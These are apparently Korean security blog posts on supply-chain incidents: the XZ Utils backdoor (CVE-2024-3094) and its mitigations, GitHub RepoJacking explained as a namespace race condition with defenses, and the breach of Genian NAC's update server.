- XZ Utils에 대한 점검과 패치 개발이 완료될 때까지 다운그레이드하여 사용 권고

 

2. 주요내용

2.1 XZ Utils [1]

- 범용 데이터 압축 형식
- GNU/리눅스 운영체제에서 데이터 압축에 필요한 필수 유틸리티를 제공하는 인기 오픈소스

 

2.2 CVE-2024-3094 [2]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3094

 

XZ-Utils의 liblzma 라이브러리에서 백도어 악성코드가 발견 (CVSS: 10.0)
> 백도어 동작시 공격자가 SSH 인증없이 서버 로그인 가능
> 일련의 복잡한 난독화 과정을 거쳐 라이브러리에 연결된 모든 소프트웨어에서 사용할 수 있는 수정된 liblzma 라이브러리가 생성
> 수정된 라이브러리를 사용해 XZ Utils 라이브러리와의 데이터 상호 작용을 가로채고 수정

영향받는 버전: XZ Utils 5.6.0 및 5.6.1

 

- 해당 백도어는 GCC 컴파일러의 GNU 간접 함수(IFUNC) 속성을 활용하여 실행 흐름에 악성코드를 삽입 [3]

> 삽입된 백도어 코드는 실행을 가로채거나 후크

> 페이로드 오브젝트 파일로부터 추출되고, 조작된 "_get_cpuid()"를 호출하는 코드를 삽입하기 위해

> cpuid를 확인하는 "is_arch_extension_supported"를 대체하기 위해 ifunc 호출을 수정

One of the core techniques used by the XZ backdoor to gain initial control during execution is the GNU Indirect Function (ifunc) attribute for the GCC compiler to resolve indirect function calls in runtime. The implanted backdoor code initially intercepts or hooks execution. It modifies ifunc calls to replace a check "is_arch_extension_supported" which should simply invoke "cpuid" to insert a call to "_get_cpuid" which is exported by the payload object file (i.e., liblzma_la-crc64-fast.o) and which calls malformed _get_cpuid() which is implanted into the code shown in the figure below.

 

[사진 2] 백도어 코드 동작 과정

 

- 2021년 공격자는 깃허브에 JiaT75(Jia Tan) 계정을 생성 [4]
> 여러 프로젝트에 참여하며 평판을 쌓아 XZ 프로젝트 관련자로 참여
> 이후 새로운 관리자 계정 추가, 커밋 병합 등을 거쳐 백도어를 포함한 커밋이 저장소에 추가
> MS는 깃허브 서비스 약관 위반을 이유로 XZ Utils 리포지토리를 비활성화

 

3. 대응방안

① XZ-Utils 업데이트 금지 또는 5.4.x 버전으로 다운그레이드 [5]
- xz --version 명령 결과가 'xz 5.6.1'이나 'liblzma 5.6.1'인 경우 다음 중 두 가지를 수행
1) 사용하고 있는 리눅스 배포판의 업데이트 버전이 여부 확인 및 있을 경우 업데이트를 진행
2) XZ 유틸즈는 다운그레이드
3) SSH 전체를 당분간 비활성화

 

> 악의적인 행위자는 이미 5.4 버전을 출시하고 서명했기 때문에 더 이전 버전으로의 다운그레이드 주장 의견도 존재

 

② 취약한 XZ-Utils를 포함하지 않는 리눅스 배포판으로 다운그레이드 또는 업데이트 버전으로 마이그레이션 [6]

[사진 3] 영향 받는 리눅스 배포판 버전

 

③ 무료 온라인 스캐너 활용 [7]

> 펌웨어 보안 회사 Binarly는 취약점에 영향 받는 리눅스 실행 파일을 탐지하도록 설계된 새로운 온라인 스캐너 공개

> 바이트 문자열 매칭 및 파일 해시 차단 목록과 같은 기존 방법과는 다른 새로운 방식으로 탐지

> 바이너리에 대한 정적 분석을 사용해 GNU IFUNC의 트랜지션 변조를 식별

> 사용자가 파일을 업로드하여 무제한 무료로 검사 가능

 

4. 참고

[1] https://en.wikipedia.org/wiki/XZ_Utils
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-3094

[3] https://www.binarly.io/blog/xz-utils-supply-chain-puzzle-binarly-ships-free-scanner-for-cve-2024-3094-backdoor

[4] https://boehs.org/node/everything-i-know-about-the-xz-backdoor
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71388&menuNo=205020
[6] https://unit42.paloaltonetworks.com/threat-brief-xz-utils-cve-2024-3094/

[7] https://xz.fail/

[8] https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
[9] https://github.com/libarchive/libarchive/issues/2103
[10] https://www.boannews.com/media/view.asp?idx=128350&page=2&kind=1
[11] https://www.boannews.com/media/view.asp?idx=128375&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=128372&page=1&kind=1

[13] https://www.dailysecu.com/news/articleView.html?idxno=154855

'취약점 > Supply-Chain Attack' 카테고리의 다른 글

IPany VPN 공급망 공격  (0) 2025.01.26
Apple CocoaPods 공급망 공격  (0) 2024.07.03
리포재킹(Repojacking) 공격  (0) 2023.09.14
지니언스 NAC 업데이트 서버 해킹  (0) 2023.07.05
3CX 공급망 공격  (0) 2023.04.06

1. 개요

- Github의 논리적 결함으로 인해 공격자가 수천 개의 리포지터리를 제어할 수 있게되는 취약점이 발견
- 공격자는 해당 결함으로 리포지터리를 악용해 공급망 공격으로 이어질 가능성이 존재

 

2. RepoJacking [1]

- Github에서는 사용자 계정마다 고유한 URL을 부여

> 사용자 이름 및 저장소 이름 변경이 자주 발생 (사명변경, 인수합병, 관리자 변경 등)

 

- 이름 변경 등으로 프로젝트의 종속성이 깨지는 것을 방지하기 위해 리다이렉션 생성
> 이름 A에서 이름 B로 변경시 새로운 URL이 생성되고, 원 URL과 연결되어 있던 모든 리포지터리들이 자동으로 새 URL과 연결
① 사용자는 계정 A 생성
② 계정 A에대한 고유한 URL 생성 (ex, hxxp://github.com/A~)
③ 사용자는 계정을 B로 변경
④ 계정 B에대한 고유한 URL 생성 (ex, hxxp://github.com/B~)

⑤ 계정 A의 리포지터리가 자동으로 계정 B로 리다이렉션

 

RepoJacking이란 공격자가 위 과정에 개입하여 이름 A를 등록해 공격자의 리포지터리에서 접근하도록 하는 공격
리포지터리를 생성하는 과정과 사용자의 이름을 변경하는 과정에서 경합 조건이 발동된다는 것이 취약점의 핵심적인 내용
① 사용자는 "A/Repo" 네임스페이스를 소유
② 사용자는 "A"의 이름을 "B"로 변경
③ "A/Repo"는 폐기처리
④ 공격자 "C"는 동시에 "Repo" 리포지터리를 생성하며, "A"로 이름을 변경하는 명령 수행
⑤ 사용자는 공격자 소유의 "A/Repo"에 접근하여 공격자가 업로드한 파일, 명령을 사용

 

※ Race Condition 공격과 유사한 공격으로 판단됨 [2][3]

- Race Condition: 두 개의 스레드가 하나의 자원을 놓고 서로 사용하려고 경쟁하는 상황
> 두 개 이상의 프로세스가 공통 자원을 병행적으로(concurrently) 읽거나 쓰는 동작을 할 때,
> 공용 데이터에 대한 접근이 어떤 순서에 따라 이루어졌는지에 따라
> 그 실행 결과가 같지 않고 달라지는 상황

- Race Condition Attack: 실행 프로세스가 임시파일을 생성할 시, 실행 중에 끼어들어 임시 파일을 목적 파일로 연결(심볼릭 링크)하여 권한 상승(setuid를 이용) 등 악용

 

3. 대응방안

① 해당 취약점을 발견한 Checkmarx는 Github에 해당 문제를 전달
> Github은 "인기 있는 저장소 네임스페이스 종료"를 도입 [4]
> Checkmarx는 모니터링을통해 우회 방법들이 발견될때마다 내용 공유를 통해 지속 대응중으로 확인됨

> Checkmarx는 RepoJacking 공격에 취약한 리포지터리를 확인하는 도구를 개발해 제공 [5]

 

② 무차별 대입 공격 및 프로젝트 탈취를 방지하기 위해 저장소에 2FA 적용
③ 엄격한 형상관리
④ 프로젝트 모니터링과 검토를 통해 취약점 조기 식별 및 조치 등

 

4. 참고

[1] https://checkmarx.com/?s=Repojacking
[2] https://iredays.tistory.com/125
[3] https://isc9511.tistory.com/120
[4] https://github.blog/2018-04-18-new-tools-for-open-source-maintainers/#popular-repository-namespace-retirement
[5] https://github.com/Checkmarx/chainjacking
[6] https://blog.aquasec.com/github-dataset-research-reveals-millions-potentially-vulnerable-to-repojacking
[7] https://thehackernews.com/2023/09/critical-github-vulnerability-exposes.html
[8] https://www.boannews.com/media/view.asp?idx=111102&page=1&kind=1
[9] https://www.boannews.com/media/view.asp?idx=121918&page=3&kind=1 

1. 개요

- 23.06.07 지니언스社 Genian NAC 업데이트 서버에 침해사고 의심 정황 발견
> Genian NAC 솔루션 고객사는 금융권, 가상자산 거래소, 제약회사, 방송사, 언로사 등 약 2400 곳
> 23.06.07 경찰의 본사 시스템 조사 후 23.06.08 KISA 신고 
> 23.06.30 홈페이지에 관련 입장문 게시
※ 지니언스: NAC, EDR 솔루션 등을 제공하는 보안 기업
※ Genian NAC: 지니언스에서 개발 및 서비스하는 네트워크 접근 제어 솔루션
※ NAC: 네트워크에 접속하는 사용자나 기기를 식별, 인증, 통제

 

2. 주요내용

- 지니언스 업데이트 서버에서 고객사 NAC 정책서버임의의 파일이(확인되지 않은 파일) 전송된 것을 확인
> 업데이트 서버가 침해되었다고 판단 후 공격자 및 침투 경로 확인 중
※ 업데이트 서버는 클라우드에 위치해 고객사에 설치된 NAC 정책서버와 통신하여 GPDB(Genian Platform DB) 등 동작에 필요한 정보를 주기적으로 업데이트하는 기능을 수행

 

- 솔루션 자동 업데이트를 설정한 고객사를 중심으로 피해 사례가 확산
> 자동 업데이트를 설정한 고객사에 관련 정보 통보

 

- 업데이트 서버의 로그 파일 전수 조사를 통해 파일이 전송된 일부 고객사 확인 및 고지 조치
> 관계당국과 협조하여 고객사의 침해 여부 조사 및 장비 교체 완료

 

- 현재까지 확인된 사항
① 고객사 피해는 확인되지 않음
② 기존 업데이트 체계 전면 중단
③ 새로운 업데이트 체계 및 서버 준비 완료
④ Genian NAC 패치 준비 완료
⑤ 침해 여부 확인을 위한 점검 툴 개발 완료 및 배포

 

3. 기타

- EDR, GPI(내PC지키미) 및 Cloud NAC 제품은 영향 없음
- 고객의 NAC 정책 서버가 폐쇄망에 설치되어 있는 경우 영향 없음
- 추가 진행사항이 있는 경우 지속적 공지 약속

 

4. 참고

[1] https://www.genians.co.kr/notice/2023
[2] https://www.boannews.com/media/view.asp?idx=119744
[3] https://www.edaily.co.kr/news/read?newsId=02912646635646968&mediaCodeNo=257&OutLnkChk=Y

'취약점 > Supply-Chain Attack' 카테고리의 다른 글

IPany VPN 공급망 공격  (0) 2025.01.26
Apple CocoaPods 공급망 공격  (0) 2024.07.03
XZ Utils 라이브러리 백도어 (CVE-2024-3094)  (0) 2024.04.01
리포재킹(Repojacking) 공격  (0) 2023.09.14
3CX 공급망 공격  (0) 2023.04.06

+ Recent posts